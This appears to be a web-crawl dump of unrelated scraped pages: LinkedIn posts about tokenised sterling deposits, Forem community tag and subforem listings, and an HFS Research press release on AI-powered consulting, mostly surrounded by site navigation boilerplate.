#Neobank #FintechSolutions #UKBusiness #EntrepreneurFinance #AgileBanking #FutureofFinance View C2PA information Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Wanda Rich 1mo Report this post Freelancers mapped stablecoin demand. GBTD can deliver the infrastructure.: Eran Karaso, Chief Operating Officer at RuulThere was a lot of fanfare when the UK's six largest banks announced they would be piloting tokenised sterling deposit (GBTD) pilots, testing programmable payments for marketplace escrow, remortgage processes, and onchain settlement. #Freelancers #Stablecoins #DigitalFinance #BlockchainTechnology #Tokenization Freelancers mapped stablecoin demand. GBTD can deliver the infrastructure. globalbankingandfinance.com Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Nuthan Govindraj 1mo Report this post Freelancers mapped stablecoin demand. GBTD can deliver the infrastructure.: Eran Karaso, Chief Operating Officer at RuulThere was a lot of fanfare when the UK's six largest banks announced they would be piloting tokenised sterling deposit (GBTD) pilots, testing programmable payments for marketplace escrow, remortgage processes, and onchain settlement. #Freelancers #Stablecoins #DigitalFinance #BlockchainTechnology #Tokenization Freelancers mapped stablecoin demand. GBTD can deliver the infrastructure. globalbankingandfinance.com Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Smitha Lakshmaiah 1mo Report this post Freelancers mapped stablecoin demand. GBTD can deliver the infrastructure.: Eran Karaso, Chief Operating Officer at RuulThere was a lot of fanfare when the UK's six largest banks announced they would be piloting tokenised sterling deposit (GBTD) pilots, testing programmable payments for marketplace escrow, remortgage processes, and onchain settlement. #Freelancers #Stablecoins #DigitalFinance #BlockchainTechnology #Tokenization Freelancers mapped stablecoin demand. GBTD can deliver the infrastructure. globalbankingandfinance.com Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Yeshodha Kempaiah 1mo Report this post Freelancers mapped stablecoin demand. GBTD can deliver the infrastructure.: Eran Karaso, Chief Operating Officer at RuulThere was a lot of fanfare when the UK's six largest banks announced they would be piloting tokenised sterling deposit (GBTD) pilots, testing programmable payments for marketplace escrow, remortgage processes, and onchain settlement. #Freelancers #Stablecoins #DigitalFinance #BlockchainTechnology #Tokenization Freelancers mapped stablecoin demand. GBTD can deliver the infrastructure. globalbankingandfinance.com Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in 7,110 followers View Profile Connect Explore content categories Career Productivity Finance Soft Skills & Emotional Intelligence Project Management Education Technology Leadership Ecommerce User Experience Show more Show less LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language Sign in to view more content Create your free account or sign in to continue your search Sign in Welcome back Email or phone Password Show Forgot password? Sign in or By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . New to LinkedIn? Join now or New to LinkedIn? Join now By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy .	2026-01-13T08:47:56
https://core.forem.com/subforems/new	Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Core Close Information Subforems are New and Experimental Subforems are a new feature that allows communities to create focused spaces within the larger Forem ecosystem. These networks are designed to empower our community to build intentional community around what they care about and the ways they awant to express their interest. Some subforems will be run communally, and others will be run by you . What Subforems Should Exist? What kind of Forem are you envisioning? 🤔 A general Forem that should exist in the world Think big! What community is the world missing? A specific interest Forem I'd like to run myself You have a passion and want to build a community around it. A company-run Forem for our product or ecosystem For customer support, developer relations, or brand engagement. ✓ Thank you for your response. ✓ Thank you for completing the survey! Give us the elevator pitch! What is your Forem about, and what general topics would it cover? 💡 ✓ Thank you for your response. ✓ Thank you for your response. ✓ Thank you for completing the survey! ← Previous Next → Survey completed 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem Core — Discussing the core forem open source software project — features, bugs, performance, self-hosting. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem Core © 2016 - 2026. Community building community Log in Create account	2026-01-13T08:47:56
https://www.linkedin.com/signup/cold-join?session_redirect=https%3A%2F%2Fwww%2Elinkedin%2Ecom%2Fsearch%2Fresults%2Fpeople%2F%3FfacetCurrentCompany%3D%255B18141590%255D&trk=public_biz_employees-join	Sign Up \| LinkedIn Make the most of your professional life Not you? Remove photo Join LinkedIn To create a LinkedIn account, you must understand how LinkedIn processes your personal information by selecting learn more for each item listed. Agree to all terms We collect and use personal information. Learn more We share personal information with third parties to provide our services. Learn more Further information is available in our Korea Privacy Addendum . Privacy Policy Addendum 1 of 2 2 of 2 Agree to the term Continue Back Agree to all terms Email Password Show Keep me logged in First name Last name By clicking Agree & Join, you agree to the LinkedIn User Agreement , Privacy Policy , and Cookie Policy . Agree & Join or Security verification Already on LinkedIn? Sign in Looking to create a page for a business? Get help LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language	2026-01-13T08:47:56
https://www.hfsresearch.com/press-release/ai-powered-consulting-forces-reckoning-65-of-enterprises-say-traditional-models-no-longer-deliver-value-2/	AI-Powered Consulting Forces Reckoning: 65% of Enterprises Say Traditional Models No Longer Deliver Value - HFS Research Our Research Our Latest Research 2026 Research Agenda Competitive Intelligence Reports Horizons and Top 10 Reports Hot Tech Reports Market Challenger Reports Market Impact Reports Pulse Dashboard Research Coverage Enterprise Innovation Generative Enterprise Global Capability Centers (GCCs) OneOffice Mindset & Horizon 3 Innovation People and Process Change Services-as-Software Enabling Tech Artificial Intelligence Automation & Process Intelligence Blockchain Data and Decisions Low-code No-code GenerativeAI Code Metaverse Business Data Services Customer and Employee Experience Data and Analytics Finance & Accounting Sourcing & Procurement Supply Chain Sustainability and ESG IT Services Cloud Native Transformation Digital Trust and Cybersecurity Digital Engineering Services Enterprise Platforms Industries Banking and Financial Services Energy and Utilities Healthcare Industrial Manufacturing Life Sciences Retail and Consumer Packaged Goods Technology, Media, and Communications Travel, Hospitality, and Logistics Solutions AI-First Deal Lab Analyst Advisory Program Enterprise Research & Advisory Services Vendor Engagement Programs Events HFS Summits HFS Roundtables Webinars Videocasts All Videocasts Unfiltered Stories About Us About HFS Our Team The HFS OneCouncil Strategic Alliances Careers In the News Blog Podcast Contact us SUBSCRIBE --> Login --> 0 About Us About HFS Our Team The HFS OneCouncil Global Advisory Board Strategic Alliances In the News Careers Subscribe Vendor Briefings --> Login Email If you don't have an account, Register here Username Password Remember Me Lost your password? Forgotten Password Cancel If you don't have an account, Register here Register "> --> Ask HFS AI Follow Us Ask using GenAI instead --> --> Our Research Our Latest Research 2026 Research Agenda Competitive Intelligence Reports Horizons and Top 10 Reports Hot Tech Reports Market Challenger Reports Market Impact Reports Pulse Dashboard Research Coverage Enterprise Innovation Generative Enterprise Global Capability Centers (GCCs) OneOffice Mindset & Horizon 3 Innovation People and Process Change Services-as-Software Enabling Tech Artificial Intelligence Automation & Process Intelligence Blockchain Data and Decisions Low-code No-code GenerativeAI Code Metaverse Business Data Services Customer and Employee Experience Data and Analytics Finance & Accounting Sourcing & Procurement Supply Chain Sustainability and ESG IT Services Cloud Native Transformation Digital Trust and Cybersecurity Digital Engineering Services Enterprise Platforms Industries Banking and Financial Services Energy and Utilities Healthcare Industrial Manufacturing Life Sciences Retail and Consumer Packaged Goods Technology, Media, and Communications Travel, Hospitality, and Logistics Solutions AI-First Deal Lab Analyst Advisory Program Enterprise Research & Advisory Services Vendor Engagement Programs Events HFS Summits HFS Roundtables Webinars Videocasts All Videocasts Unfiltered Stories About Us About HFS Our Team The HFS OneCouncil Strategic Alliances Careers In the News Blog Podcast Contact us Press Release AI-Powered Consulting Forces Reckoning: 65% of Enterprises Say Traditional Models No Longer Deliver Value November 11, 2025 New study from HFS Research shows enterprises turning to AI-powered consulting in droves, leaving traditional models struggling to prove relevance. NEW YORK , Nov. 11, 2025 — Traditional consulting is failing to keep pace with the speed, intelligence, and adaptability that enterprises now demand, according to a new Market Impact Report by HFS Research and sponsored by IBM. The global survey of 1,002 senior executives across 16 industries and 14 countries reveals a deep shift away from human-led, effort-based consulting models toward AI-powered, outcome-driven approaches. Key findings include: 65% of enterprises say traditional consulting models fail to deliver real value 83% of executives report AI-powered consulting delivers greater value than traditional approaches Headcount-based contracts are collapsing. While 49% of contracts today are tied to staff numbers, only 16% of leaders expect to use this traditional model within two years 63% are highly concerned about managing vendor sprawl as AI service ecosystems expand “Consulting as we’ve known it is over. AI has blown up the model where armies of consultants spend months producing recommendations no one implements. If your consulting partner can’t deliver measurable outcomes at the speed of AI, they’re obsolete,” said Saurabh Gupta , President, Research & Advisory Services, HFS Research. “This is the reckoning—and the industry won’t survive it without tearing up the rulebook.” The research warns that while demand for AI-powered consulting is surging, most enterprises are far from ready. Fewer than 30% are fully prepared across workforce, data, governance, and vendor management dimensions. Only 20% have governance structures in place to manage AI accountability, and just 14% use AI-specific contracts. “Enterprises are done paying for advice that moves too slowly. They want consulting that delivers outcomes continuously, orchestrates across ecosystems, and matches the speed and intelligence they are building internally. AI isn’t just enhancing consulting, it’s rebuilding it from the ground up,” said Dana Daher, Executive Research Leader at HFS Research and author of the study. Other insights from the study include: Only 13% of leaders rated traditional consulting as “highly effective,” revealing a major trust gap. AI-powered consulting usage is projected to triple within two years, from 12% to 35% of services delivered. Outcome-based pricing is set to become the dominant model, leapfrogging headcount-based contracts within two years. The study also highlights the orchestration challenge: most executives are worried about managing vendor sprawl, yet only a small fraction (19%) expect to handle integration and governance themselves. The majority will rely on lead service providers or external advisors to coordinate their AI ecosystems. “The traditional consulting model is changing rapidly because of AI. Consulting firms using AI driven proprietary tools, technologies and methods to deliver solutions more efficiently to their clients will outpace competitors,” said Matt Candy, Global Managing Partner for Strategy & Transformation at IBM Consulting. “IBM is fusing human experience with our own AI technology + AI technology from strategic partners to scale and accelerate our clients’ transformation through our IBM Consulting Advantage platform. When we leverage AI tools with human engagement, we are able to deliver faster, more scalable impact.” Download the full report here: https://www.hfsresearch.com/research/consulting-that-delivers/ About HFS Research HFS Research is a leading research and advisory authority on enterprise transformation, serving Fortune 500 companies with fearless insights and actionable strategies. With unparalleled access to Global 2000 executives and deep expertise in AI, automation, and digital business models, HFS empowers organizations to make confident decisions that create sustainable competitive advantage. For more information, visit www.hfsresearch.com . The trusted analyst partner to help you tackle challenges, make bold moves, and bring big ideas to life. Follow us: Subscribe to our channel: COMPANY Terms & Conditions Citation Policy Privacy Policy Terms of Use HFS Account Delete Request HFS Trust Center SIGN UP FOR INSIGHTS Get the latest insights, trends, and strategies delivered straight to your inbox. Subscribe Copyright © 2007 - 2026, HFS Research Ltd., unless otherwise noted. All rights reserved. Subscribe Congratulations! Your account has been created. You can continue exploring free AI insights while you verify your email. Please check your inbox for the verification link to activate full access. Sign In Email If you don't have an account, Register here Username Password Remember Me Lost your password? Forgotten Password Cancel If you don't have an account, Register here Sign up for a free research account With the exception of our Horizons reports, most of our research is available for free on our website. Sign up for a free account and start realizing the power of insights now. First Name * Surname * Email address * Phone Number Company * Please specify company name: * Type of Organisation * Enterprise Buyer Service Provider Advisor/Consultancy Technology Provider Other Job Title * Job Seniority * CXO or Similar VP or Similar Director or Similar Manager or Similar Other State / County / Province Country  * Would you like HFS to keep you updated on: Digests/Newsletters: Overviews of the latest news, insight, and research by HFS. HFS Events: Exclusive invitations to HFS webinars, roundtables, and summits, bringing together key industry stakeholders focused on major innovations impacting business operations. By registering you agree to our privacy policy . I hereby consent that HFS Research can process my personal data. Register Premium Access Our premium subscription gives enterprise clients access to our complete library of proprietary research, direct access to our industry analysts, and other benefits. Contact us at [email protected] for more information on premium access. Help If you are looking for help getting in touch with someone from HFS, please click the chat button to the bottom right of your screen to start a conversation with a member of our team. [email protected] Contact Ask HFS AI Support Send Feedback Ask a Question Upgrade Membership Thank You! Thank you for contacting Ask HFS AI Support! Your message has been received. Our team will reach out soon.	2026-01-13T08:47:56
https://github.com/anomalyco/opencode-sdk-js/blob/main/SECURITY.md	opencode-sdk-js/SECURITY.md at main · anomalyco/opencode-sdk-js · GitHub Skip to content Navigation Menu Toggle navigation Sign in Appearance settings Platform AI CODE CREATION GitHub Copilot Write better code with AI GitHub Spark Build and deploy intelligent apps GitHub Models Manage and compare prompts MCP Registry New Integrate external tools DEVELOPER WORKFLOWS Actions Automate any workflow Codespaces Instant dev environments Issues Plan and track work Code Review Manage code changes APPLICATION SECURITY GitHub Advanced Security Find and fix vulnerabilities Code security Secure your code as you build Secret protection Stop leaks before they start EXPLORE Why GitHub Documentation Blog Changelog Marketplace View all features Solutions BY COMPANY SIZE Enterprises Small and medium teams Startups Nonprofits BY USE CASE App Modernization DevSecOps DevOps CI/CD View all use cases BY INDUSTRY Healthcare Financial services Manufacturing Government View all industries View all solutions Resources EXPLORE BY TOPIC AI Software Development DevOps Security View all topics EXPLORE BY TYPE Customer stories Events & webinars Ebooks & reports Business insights GitHub Skills SUPPORT & SERVICES Documentation Customer support Community forum Trust center Partners Open Source COMMUNITY GitHub Sponsors Fund open source developers PROGRAMS Security Lab Maintainer Community Accelerator Archive Program REPOSITORIES Topics Trending Collections Enterprise ENTERPRISE SOLUTIONS Enterprise platform AI-powered developer platform AVAILABLE ADD-ONS GitHub Advanced Security Enterprise-grade security features Copilot for Business Enterprise-grade AI features Premium Support Enterprise-grade 24/7 support Pricing Search or jump to... Search code, repositories, users, issues, pull requests... --> Search Clear Search syntax tips Provide feedback --> We read every piece of feedback, and take your input very seriously. Include my email address so I can be contacted Cancel Submit feedback Saved searches Use saved searches to filter your results more quickly --> Name Query To see all available qualifiers, see our documentation . Cancel Create saved search Sign in Sign up Appearance settings Resetting focus You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session. Dismiss alert {{ message }} anomalyco / opencode-sdk-js Public Notifications You must be signed in to change notification settings Fork 5 Star 43 Code Issues 1 Pull requests 1 Actions Projects 0 Security Uh oh! There was an error while loading. Please reload this page . Insights Additional navigation options Code Issues Pull requests Actions Projects Security Insights Footer © 2026 GitHub, Inc. Footer navigation Terms Privacy Security Status Community Docs Contact Manage cookies Do not share my personal information You can’t perform that action at this time.	2026-01-13T08:47:56
https://core.forem.com/t/cicd	Cicd - Forem Core Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Core Close # cicd Follow Hide CI/CD pipelines and automation Create Post Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem Core — Discussing the core forem open source software project — features, bugs, performance, self-hosting. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem Core © 2016 - 2026. Community building community Log in Create account	2026-01-13T08:47:56
https://forem.com/t/monitoring	Monitoring - Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close # monitoring Follow Hide Tag for content related to software monitoring. Create Post submission guidelines Articles should be related to software monitoring in some way. Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Observing Behavioral Anomalies in Web Applications Beyond Signature Scanners 0x7b 0x7b 0x7b Follow Jan 12 Observing Behavioral Anomalies in Web Applications Beyond Signature Scanners # monitoring # performance # security # testing Comments Add Comment 1 min read I Built a Reddit Keyword Monitoring System. Here's What Actually Works. Short Play Skits Short Play Skits Short Play Skits Follow Jan 10 I Built a Reddit Keyword Monitoring System. Here's What Actually Works. # showdev # automation # monitoring # startup Comments Add Comment 2 min read The Complete Guide to Prometheus Metric Types Sunny Nazar Sunny Nazar Sunny Nazar Follow for AWS Community Builders Jan 11 The Complete Guide to Prometheus Metric Types # prometheus # monitoring # devops # observability Comments Add Comment 12 min read Getting Started with Amazon CloudWatch for Beginners Gayatri Sonawane Gayatri Sonawane Gayatri Sonawane Follow Jan 9 Getting Started with Amazon CloudWatch for Beginners # aws # beginners # devops # monitoring Comments Add Comment 1 min read Building a Multi-Account CloudWatch Dashboard That Actually Works Muhammad Yawar Malik Muhammad Yawar Malik Muhammad Yawar Malik Follow Jan 9 Building a Multi-Account CloudWatch Dashboard That Actually Works # aws # cloudwatch # monitoring # sre 5 reactions Comments Add Comment 2 min read Is your monitoring testing strategy chaos? Simon Hanmer Simon Hanmer Simon Hanmer Follow for AWS Community Builders Jan 8 Is your monitoring testing strategy chaos? # monitoring # chaosengineering # fis # serverless Comments Add Comment 5 min read Top 10 DevOps Monitoring Tools to Prevent Production Issues in 2026 Jay Mahyavansh Jay Mahyavansh Jay Mahyavansh Follow Jan 8 Top 10 DevOps Monitoring Tools to Prevent Production Issues in 2026 # discuss # devops # monitoring # tooling Comments Add Comment 5 min read Is your monitoring testing strategy chaos? Simon Hanmer Simon Hanmer Simon Hanmer Follow Jan 8 Is your monitoring testing strategy chaos? # aws # chaosengineering # serverless # monitoring Comments Add Comment 5 min read Your 30-Minute Morning Monitoring Routine? The Problem Isn't Too Much Data. Yuto Takashi Yuto Takashi Yuto Takashi Follow Jan 8 Your 30-Minute Morning Monitoring Routine? The Problem Isn't Too Much Data. # monitoring # aws # devops # jenkins Comments Add Comment 2 min read I thought plugging in LangSmith would solve agentic AI monitoring Benedict L Benedict L Benedict L Follow Jan 6 I thought plugging in LangSmith would solve agentic AI monitoring # agents # architecture # llm # monitoring Comments Add Comment 2 min read How I Built a One-Command Observability Stack for Dokploy Huy Pham Huy Pham Huy Pham Follow Jan 6 How I Built a One-Command Observability Stack for Dokploy # devops # monitoring # grafana # docker Comments Add Comment 3 min read I Launched CronMonitor on Product Hunt Today 🚀 Łukasz Maśląg Łukasz Maśląg Łukasz Maśląg Follow for CronMonitor Jan 7 I Launched CronMonitor on Product Hunt Today 🚀 # showdev # devops # monitoring # startup Comments Add Comment 2 min read Why .dev, .app, .page (and 40+ Other TLDs) Don't Respond to WHOIS Serg Petrov Serg Petrov Serg Petrov Follow Jan 6 Why .dev, .app, .page (and 40+ Other TLDs) Don't Respond to WHOIS # webdev # beginners # monitoring # tutorial 5 reactions Comments Add Comment 3 min read How do you monitor external APIs your app depends on? Kramer Balázs Kramer Balázs Kramer Balázs Follow Jan 5 How do you monitor external APIs your app depends on? # api # saas # monitoring # automation Comments Add Comment 1 min read Simulated and monitored DDoS attacks Write up research Alem Djokovic Alem Djokovic Alem Djokovic Follow Jan 6 Simulated and monitored DDoS attacks Write up research # cybersecurity # linux # monitoring # networking Comments Add Comment 20 min read I got tired of guessing why my server crashed: Building a "Smart" Monitor with Global Checks & JSON Validation Ilya Ploskovitov Ilya Ploskovitov Ilya Ploskovitov Follow Jan 3 I got tired of guessing why my server crashed: Building a "Smart" Monitor with Global Checks & JSON Validation # devops # monitoring # cloudfunctions # webdev Comments Add Comment 3 min read 🚨 AWS 125: Guardian of the Cloud - Setting Up CloudWatch Alarms Hritik Raj Hritik Raj Hritik Raj Follow Jan 5 🚨 AWS 125: Guardian of the Cloud - Setting Up CloudWatch Alarms # aws # cloudwatch # monitoring # 100daysofcloud Comments Add Comment 3 min read Saving AWS ECS CloudWatch Cost. Kadiri George Kadiri George Kadiri George Follow Jan 3 Saving AWS ECS CloudWatch Cost. # aws # devops # monitoring Comments Add Comment 5 min read The real problems I faced after deploying agentic AI to production Benedict L Benedict L Benedict L Follow Jan 6 The real problems I faced after deploying agentic AI to production # agents # ai # llm # monitoring 1 reaction Comments Add Comment 2 min read 10 AWS Production Incidents That Taught Me Real-World SRE Muhammad Yawar Malik Muhammad Yawar Malik Muhammad Yawar Malik Follow Jan 8 10 AWS Production Incidents That Taught Me Real-World SRE # aws # sre # monitoring # cloudwatch 6 reactions Comments Add Comment 8 min read Handling Timezone Issues in Cron Jobs (2025 Guide) Łukasz Maśląg Łukasz Maśląg Łukasz Maśląg Follow for CronMonitor Jan 2 Handling Timezone Issues in Cron Jobs (2025 Guide) # cron # linux # devops # monitoring Comments 2 comments 3 min read Nobody Knows What's Happening Anymore Gnaneswar Gnaneswar Gnaneswar Follow Jan 2 Nobody Knows What's Happening Anymore # discuss # devops # monitoring Comments Add Comment 4 min read Automating CloudWatch Orphan Alarm Detection: A Production-Ready Solution Prashant Gupta Prashant Gupta Prashant Gupta Follow Jan 2 Automating CloudWatch Orphan Alarm Detection: A Production-Ready Solution # aws # cloudwatch # monitoring Comments Add Comment 8 min read AWS ECS Service Task Recycle Prashant Gupta Prashant Gupta Prashant Gupta Follow Jan 2 AWS ECS Service Task Recycle # aws # ecs # monitoring Comments Add Comment 4 min read Elevate Your Cloud Game: Mastering Monitoring & Logging with CloudWatch and Stackdriver Visakh Vijayan Visakh Vijayan Visakh Vijayan Follow Jan 2 Elevate Your Cloud Game: Mastering Monitoring & Logging with CloudWatch and Stackdriver # google # monitoring # devops # aws Comments Add Comment 3 min read loading... trending guides/resources How to Monitor Network Device Health Using SNMP Exporter and Prometheus Lesson 24: Freqtrade-Trading Monitoring and Adjustment Grafana Cloud Monitoring Setup (Apache + PHP-FPM + Alloy) A Practical Guide to Distributed Tracing for AI Agents Observability in Local Development with OpenTelemetry, OTLP, and Aspire Dashboard A List of Status Pages Every TechOps Engineer Should Know Modern Logging with Grafana Alloy + Loki Building a Lightweight Camunda Monitoring Dashboard: From Enterprise Pain to Open Source Solution Understanding L1 DevOps: The First Line of Support in Modern Operations Monitor Gemini CLI using OpenTelemetry for realtime usage statistics Complete Beginner's Guide to Blue-Green Deployment with Nginx and Real-Time Alerting Managing AI Agent Drift Over Time: A Practical Framework for Reliability, Evals, and Observability Prometheus: The Essential Guide to Monitoring Systems Prometric-Go Part 2 — Full Hands-On Demo with Grafana, Prometheus & k6 📈 AIDE - File Integrity Monitoring for System Security Debugging AI in Production: Root Cause Analysis with Observability 第 24 课：Freqtrade交易监控与调整 How to Implement Observability for AI Agents with LangGraph, OpenAI Agents, and Crew AI How switching to SQS Batch operations improves Performance an Billing Cloudflare went down yesterday. My monitoring lied. So I built this. 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a blogging-forward open source social network where we learn from one another Log in Create account	2026-01-13T08:47:56
https://core.forem.com/t/mobile	Mobile - Forem Core Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Core Close Mobile Follow Hide iOS, Android, and any other types of mobile development... all are welcome! Create Post Older #mobile posts 1 2 3 4 5 6 7 8 9 … 75 … 180 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu loading... trending guides/resources Next version of mobile app is going to be a nice upgrade 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem Core — Discussing the core forem open source software project — features, bugs, performance, self-hosting. Home About Contact Code of Conduct Privacy 